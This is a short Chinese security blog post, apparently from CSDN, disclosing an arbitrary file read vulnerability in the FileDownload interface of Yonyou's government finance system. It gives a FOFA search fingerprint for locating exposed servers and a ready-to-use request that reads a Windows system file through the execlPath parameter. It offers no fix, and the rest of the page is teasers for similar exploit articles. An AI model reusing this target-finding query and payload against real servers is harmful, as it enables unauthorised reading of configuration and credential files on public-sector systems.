用友政务财务系统FileDownload接口存在任意文件读取漏洞

最新推荐文章于 2024-05-02 19:40:00 发布
最新推荐文章于 2024-05-02 19:40:00 发布
阅读量511 收藏
点赞数 18
文章标签： 用友政务财务系统 FileDownload接口 任意文件读取漏洞 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/wan___she__pi/article/details/138175425
版权

声明：

本文仅用于技术交流，请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。

简介

用友政务财务系统是由用友软件开发的一款针对政府机构和公共事业单位设计的财务管理软件。该系统旨在提供全面的财务管理解决方案，以满足政府机构和公共事业单位在财务管理方面的需求。

资产搜索

fofa

body="/df/portal/getYearRgcode.do"

漏洞复现

http://127.0.0.1/bg/attach/FileDownload?execlPath=C://Windows//win.ini

 

cn_大腿
关注
  • 18
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
用友政务财务系统 FileDownload 任意文件读取漏洞复现
0xSec
04-24 528
用友政务财务系统 FileDownload 接口存在任意文件读取漏洞，未经身份攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。
泛微OA xmlrpcServlet接口任意文件读取漏洞（CNVD-2022-43245）
12-25
泛微OA xmlrpcServlet接口任意文件读取漏洞（CNVD-2022-43245），可以指定文件路径进行读取，并提供检测方案
1day用友政务系统-FileDownload-任意文件读取漏洞
weixin_43167326的博客
04-24 987
用友政务财务系统具有多项核心功能，旨在满足各类组织的财务管理需求。首先，它提供了财务核算功能，能够全面管理企业的总账、固定资产、现金、应付应收等模块，实时掌握企业的财务状况，并通过科目管理、凭证处理、报表分析等功能为决策提供有力支持。此外，该系统还具备成本管理功能，包括成本核算、成本控制、成本分析等，帮助企业准确计算和控制各项成本，提高盈利能力。用友政务财务系统还支持一体化的财务管理，包括资金、多维度成本核算等功能，满足企业全面财务管理的需求。
【漏洞复现】用友政务财务系统 FileDownload 任意文件读取漏洞
qq_67810151的博客
04-21 224
用友政务财务系统存在任意文件读取漏洞，未授权的攻击者可以通过该漏洞读取服务器任意文件，造成敏感信息泄露。
银达汇智 智慧综合管理平台 FileDownLoad.aspx 任意文件读取漏洞
weixin_46801402的博客
11-17 543
银达汇智 智慧综合管理平台 FileDownLoad.aspx 任意文件读取漏洞
用友NC-StandardReport存在任意文件读取漏洞-0day未公开漏洞
weixin_43167326的博客
02-26 688
用友NC是“企业资源规划（Enterprise Resource Planning）”的缩写，是指用友软件股份有限公司开发的一套企业管理软。用友NC系统是一种集成管理企业各项业务流程的信息化解决方案。该系统涵盖了财务、人力资源、供应链管理等多个方面，旨在帮助企业提高运营效率、优化资源利用、提升管理水平。
任意文件读取及漏洞复现
来日可期的博客
08-31 2763
任意文件上传漏洞指的是攻击者可以通过绕过应用程序的文件上传功能，向服务器上传恶意文件，包括脚本文件、木马程序等，从而执行任意代码或获取系统敏感信息。
用友GRP-A++系统FileDownload接口存在拼接参数读取任意文件漏洞
weixin_43567873的博客
03-04 65
用友GRP-A++系统FileDownload接口存在拼接参数读取任意文件漏洞。
任意文件读取漏洞 (Arbitrary File Read/Download Vulnerability)
一个努力学习网安的小牛马
11-14 184
​ 一些网站的需求，可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕过，就可以查看或下载任意文件。这些文件可以是源代码文件，配置文件，敏感文件等等​ 任意文件读取与下载可能形式不同，但是从本质上讲读取与下载没有区别，从权限角度来讲，读取与下载都需要读权展。
任意文件读取/下载漏洞总结
热门推荐
未完成的歌~的博客
04-01 1万+
任意文件读取/下载漏洞（Arbitrary File Read/Download Vulnerability），是指攻击者可以通过某些漏洞，绕过应用程序的限制，直接读取或下载应用程序之外的文件。这种漏洞通常是由于应用程序没有对用户输入进行充分的验证和过滤而导致的。攻击者可以通过构造恶意的请求来利用该漏洞，从而读取或下载他们本来无权访问的文件，如密码、私钥、证书等，会提供攻击者更多可用信息，提高被入侵的风险。
fileDownload.zip
08-04
提供JavaWeb的文件下载，可以下载到本地或者服务器上。下载到本地在UserServlet.java文件下。
AspNetGrpcFileStreaming：ASP.NET GRPC文件流（FileUpload，FileDownload）
02-20
ASP.NET Grpc文件流式传输（FileUpload，FileDownload）
upload_上传文件_返回文件_
10-02
上传文件，返回文件对象，这是一段Python初学者代码
原生js实现文件上传、下载、封装等实例方法
01-21
一 、下载 1、代码 const fileDownloadClick = (obj) => { // 解决兼容 if( document.all ){ obj.click(); } else { ...const fileDownload = (res,obj) => { // 下载 /* obj :{ userName 下载人
网络安全风险里的威胁建模
最新发布
qq_41432686的博客
05-02 857
网络安全的本质是攻防双方的对抗与博弈。然而，由于多种攻防之间的不对称性因素存在，使得攻击者总能在对抗过程中抢占先机。为了更好地了解潜在的威胁和缺陷，实现主动式防御，企业需要重新考虑他们的网络防护方法，而威胁建模（Threat modeling）正是网络安全武器库中关键防御武器。
网络安全之密码学技术
缘友一世的博客
04-29 1384
在DES算法中，明文按64位进行分组（块），密钥长度也是64位，（事实上只有56位参与DES运算，第8、16、24、32、40、48、56、64位是校验位， 使DES的每个密钥都有奇数个1），分组后的每64位明文组（块）分别与56位密钥进行多轮置换（按位替代/交换），最后生成64位的密文组（块）。RSA密钥是（公钥+模值）、（私钥+模值）成组分发的，单独一个公钥或私钥是没有用处，所以所谓的“密钥”其实是它们两者中的一个。IDEA是作为迭代的分组密码实现的，使用128位的密钥和8个循环。
网络安全之弱口令与命令爆破（中篇）（技术进阶）
weixin_70911257的博客
04-28 910
弱口令就是容易被人们所能猜到的密码呗，例如：admin,123456,888等等简单的密码。这种针对验证码的爆破只是最简单的一种，还有其他的验证码类型，能爆破，但是有点难，等以后再出一篇看看吧，下篇的内容是token防爆破，防爆破口令绕过，word，加密的zip压缩文件，windows登录密码，mysql数据库登录密码，ssh登录密码的弱口令爆破。下个星期有空再写吧，这篇内容不全还有一个知识点没讲到（出了点问题解决了再加上来吧）。！
网络安全思考题
weixin_62304542的博客
04-27 1381
网络安全渗透思考题
泛微 e-cology9 filedownload.jsp 任意文件读取
11-24
泛微 e-cology9 是一款企业级办公自动化软件，然而它的 filedownload.jsp 存在任意文件读取漏洞。攻击者可以通过构造恶意的请求，访问该漏洞并读取系统中的任意文件，包括敏感信息如用户凭证、配置文件和数据库等数据。这种漏洞可能对企业的数据安全造成严重威胁，因此需要尽快得到修复。 修复这个漏洞的方法之一是及时升级软件版本，确保安装了最新的补丁程序。此外，也可以通过屏蔽 filedownload.jsp 文件或者限制其访问权限的方法来暂时防范该漏洞。另外，加强网络安全防护，限制外部访问和加密重要数据，也是保护系统安全的有效手段。同时，企业也应该加强对于软件漏洞的监测和应急处理能力，及时发现和处理类似问题，减少潜在的安全隐患。 总的来说，泛微 e-cology9 的 filedownload.jsp 任意文件读取漏洞可能对企业的数据和信息安全造成严重威胁，需要引起重视并及时采取措施加以修复和预防。企业需要全面加强系统的安全防护能力，加强漏洞管理和修复工作，以确保企业信息系统的安全稳定。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值